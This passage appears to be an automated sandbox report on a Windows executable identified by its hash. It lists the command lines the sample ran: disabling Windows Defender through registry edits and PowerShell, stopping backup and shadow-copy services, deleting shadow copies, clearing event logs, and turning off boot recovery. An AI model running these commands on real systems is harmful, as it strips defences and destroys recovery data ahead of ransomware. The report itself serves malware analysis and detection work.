PID 2224 wrote to memory of 636 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 636 wrote to memory of 1480 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 636 wrote to memory of 1480 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2224 wrote to memory of 1288 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 2224 wrote to memory of 1288 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 1288 wrote to memory of 1796 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1288 wrote to memory of 1796 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2224 wrote to memory of 392 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 2224 wrote to memory of 392 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 392 wrote to memory of 2608 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 392 wrote to memory of 2608 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2224 wrote to memory of 672 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 2224 wrote to memory of 672 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 2224 wrote to memory of 896 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 2224 wrote to memory of 896 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 2224 wrote to memory of 2560 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 2224 wrote to memory of 2560 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 2224 wrote to memory of 996 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 2224 wrote to memory of 996 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 2224 wrote to memory of 1340 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 2224 wrote to memory of 1340 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 2224 wrote to memory of 2932 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 2224 wrote to memory of 2932 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 2224 wrote to memory of 3044 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 2224 wrote to memory of 3044 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 2224 wrote to memory of 1764 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 2224 wrote to memory of 1764 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 2224 wrote to memory of 1936 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 2224 wrote to memory of 1936 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 2224 wrote to memory of 1980 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\reg.exe
PID 2224 wrote to memory of 1980 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\reg.exe
PID 2224 wrote to memory of 3848 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\reg.exe
PID 2224 wrote to memory of 3848 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\reg.exe
PID 2224 wrote to memory of 2308 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\reg.exe
PID 2224 wrote to memory of 2308 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\reg.exe
PID 2224 wrote to memory of 3696 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\reg.exe
PID 2224 wrote to memory of 3696 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\reg.exe
PID 2224 wrote to memory of 3812 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\reg.exe
PID 2224 wrote to memory of 3812 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\reg.exe

Processes

C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe

"C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe"

C:\Windows\SYSTEM32\net.exe

net.exe stop "SamSs" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "UI0Detect" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UI0Detect" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "vmicvss" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "vmicvss" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "VSS" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "wbengine" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "WebClient" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "UnistoreSvc_13373" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UnistoreSvc_13373" /y

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "UI0Detect" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "vmicvss" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "UnistoreSvc_13373" start= disabled

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl system

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl security

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl application

C:\Windows\System32\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\System32\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\SYSTEM32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\SYSTEM32\bcdedit.exe

bcdedit.exe /set {default} recoveryenabled no

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableRealtimeMonitoring $true

Network

Country Destination Domain Proto
US 52.109.8.19:443 tcp
US 8.8.8.8:53 time.windows.com udp
NL 20.101.57.9:123 time.windows.com udp

Files

memory/2768-115-0x0000000000000000-mapping.dmp

memory/3432-116-0x0000000000000000-mapping.dmp

memory/1540-117-0x0000000000000000-mapping.dmp

memory/1356-118-0x0000000000000000-mapping.dmp

memory/580-119-0x0000000000000000-mapping.dmp

memory/2304-120-0x0000000000000000-mapping.dmp

memory/2316-121-0x0000000000000000-mapping.dmp

memory/584-122-0x0000000000000000-mapping.dmp

memory/4000-123-0x0000000000000000-mapping.dmp

memory/4092-124-0x0000000000000000-mapping.dmp

memory/988-125-0x0000000000000000-mapping.dmp

memory/3584-126-0x0000000000000000-mapping.dmp

memory/636-127-0x0000000000000000-mapping.dmp

memory/1480-128-0x0000000000000000-mapping.dmp

memory/1288-129-0x0000000000000000-mapping.dmp

memory/1796-130-0x0000000000000000-mapping.dmp

memory/392-131-0x0000000000000000-mapping.dmp

memory/2608-132-0x0000000000000000-mapping.dmp

memory/672-133-0x0000000000000000-mapping.dmp

memory/896-134-0x0000000000000000-mapping.dmp

memory/2560-135-0x0000000000000000-mapping.dmp

memory/996-136-0x0000000000000000-mapping.dmp

memory/1340-137-0x0000000000000000-mapping.dmp

memory/2932-138-0x0000000000000000-mapping.dmp

memory/3044-139-0x0000000000000000-mapping.dmp

memory/1764-140-0x0000000000000000-mapping.dmp

memory/1936-141-0x0000000000000000-mapping.dmp

memory/1980-142-0x0000000000000000-mapping.dmp

memory/3848-143-0x0000000000000000-mapping.dmp

memory/2308-144-0x0000000000000000-mapping.dmp

memory/3696-145-0x0000000000000000-mapping.dmp

memory/3812-146-0x0000000000000000-mapping.dmp

memory/952-147-0x0000000000000000-mapping.dmp

memory/3196-148-0x0000000000000000-mapping.dmp

memory/2804-149-0x0000000000000000-mapping.dmp

memory/1852-150-0x0000000000000000-mapping.dmp

memory/1252-151-0x0000000000000000-mapping.dmp

memory/2676-152-0x0000000000000000-mapping.dmp

memory/4040-153-0x0000000000000000-mapping.dmp

memory/3524-154-0x0000000000000000-mapping.dmp

memory/2944-155-0x0000000000000000-mapping.dmp

memory/1492-156-0x0000000000000000-mapping.dmp

memory/632-157-0x0000000000000000-mapping.dmp

memory/2876-158-0x0000000000000000-mapping.dmp

memory/4032-159-0x0000000000000000-mapping.dmp

memory/3584-160-0x0000000000000000-mapping.dmp

memory/1548-161-0x0000000000000000-mapping.dmp

memory/1552-162-0x0000000000000000-mapping.dmp

memory/1344-163-0x0000000000000000-mapping.dmp

memory/732-164-0x0000000000000000-mapping.dmp

memory/3036-165-0x0000000000000000-mapping.dmp

memory/1968-166-0x0000000000000000-mapping.dmp

memory/1040-167-0x0000000000000000-mapping.dmp

memory/1172-168-0x0000000000000000-mapping.dmp

memory/2936-169-0x0000000000000000-mapping.dmp

memory/1584-170-0x0000000000000000-mapping.dmp

memory/1032-171-0x0000000000000000-mapping.dmp

memory/3704-172-0x0000000000000000-mapping.dmp

memory/2324-173-0x0000000000000000-mapping.dmp

memory/2968-174-0x0000000000000000-mapping.dmp

memory/684-175-0x0000000000000000-mapping.dmp

memory/3368-176-0x0000000000000000-mapping.dmp

memory/3188-177-0x0000000000000000-mapping.dmp

memory/3888-178-0x0000000000000000-mapping.dmp

memory/2644-179-0x00000156804A0000-0x00000156804A2000-memory.dmp

memory/2644-180-0x00000156804A0000-0x00000156804A2000-memory.dmp

memory/2644-181-0x00000156804A0000-0x00000156804A2000-memory.dmp

memory/2644-182-0x00000156804A0000-0x00000156804A2000-memory.dmp

memory/2644-183-0x000001569A590000-0x000001569A5B2000-memory.dmp

memory/2644-184-0x00000156804A0000-0x00000156804A2000-memory.dmp

memory/2644-185-0x00000156804A0000-0x00000156804A2000-memory.dmp

memory/2644-186-0x000001569A740000-0x000001569A7B6000-memory.dmp

memory/2644-187-0x00000156804A0000-0x00000156804A2000-memory.dmp

memory/2644-211-0x00000156806D0000-0x00000156806D2000-memory.dmp

memory/2644-212-0x00000156806D3000-0x00000156806D5000-memory.dmp

memory/2644-213-0x00000156806D6000-0x00000156806D8000-memory.dmp

memory/2644-214-0x00000156804A0000-0x00000156804A2000-memory.dmp

memory/1384-216-0x0000028E8A5D0000-0x0000028E8A5D2000-memory.dmp

memory/1384-217-0x0000028E8A5D0000-0x0000028E8A5D2000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 8592ba100a78835a6b94d5949e13dfc1
SHA1 63e901200ab9a57c7dd4c078d7f75dcd3b357020
SHA256 fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c
SHA512 87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

memory/1384-218-0x0000028E8A5D0000-0x0000028E8A5D2000-memory.dmp

memory/2644-219-0x00000156806D8000-0x00000156806D9000-memory.dmp

memory/1384-221-0x0000028E8A5E3000-0x0000028E8A5E5000-memory.dmp

memory/1384-220-0x0000028E8A5D0000-0x0000028E8A5D2000-memory.dmp

memory/1384-222-0x0000028E8A5E0000-0x0000028E8A5E2000-memory.dmp

memory/1384-223-0x0000028EA44E0000-0x0000028EA4502000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 3ab6335b78d28663308ec4fa991819d6
SHA1 53da5f5efb487ab48e96473999647e54fc60f25b
SHA256 f0d09f691bb0e9fa0723b94e002c21be09a13aea4dcb5732061d8e06f70b55d3
SHA512 972488e86f3e619a0583cc58f577985fd890162b97ebd3bfd44b96dfb2f87460b0df47e60c7f3435b4d943c3ecf77cebbc1c004cd9ee0a9af4e1b448dedf805c

memory/1384-224-0x0000028E8A5D0000-0x0000028E8A5D2000-memory.dmp

memory/1384-226-0x0000028E8A5D0000-0x0000028E8A5D2000-memory.dmp

memory/1384-227-0x0000028E8A5D0000-0x0000028E8A5D2000-memory.dmp

memory/1384-228-0x0000028EA5030000-0x0000028EA50A6000-memory.dmp

memory/1384-229-0x0000028E8A5D0000-0x0000028E8A5D2000-memory.dmp

memory/1384-253-0x0000028E8A5D0000-0x0000028E8A5D2000-memory.dmp

memory/1384-254-0x0000028E8A5E6000-0x0000028E8A5E8000-memory.dmp

memory/1384-255-0x0000028E8A5E8000-0x0000028E8A5E9000-memory.dmp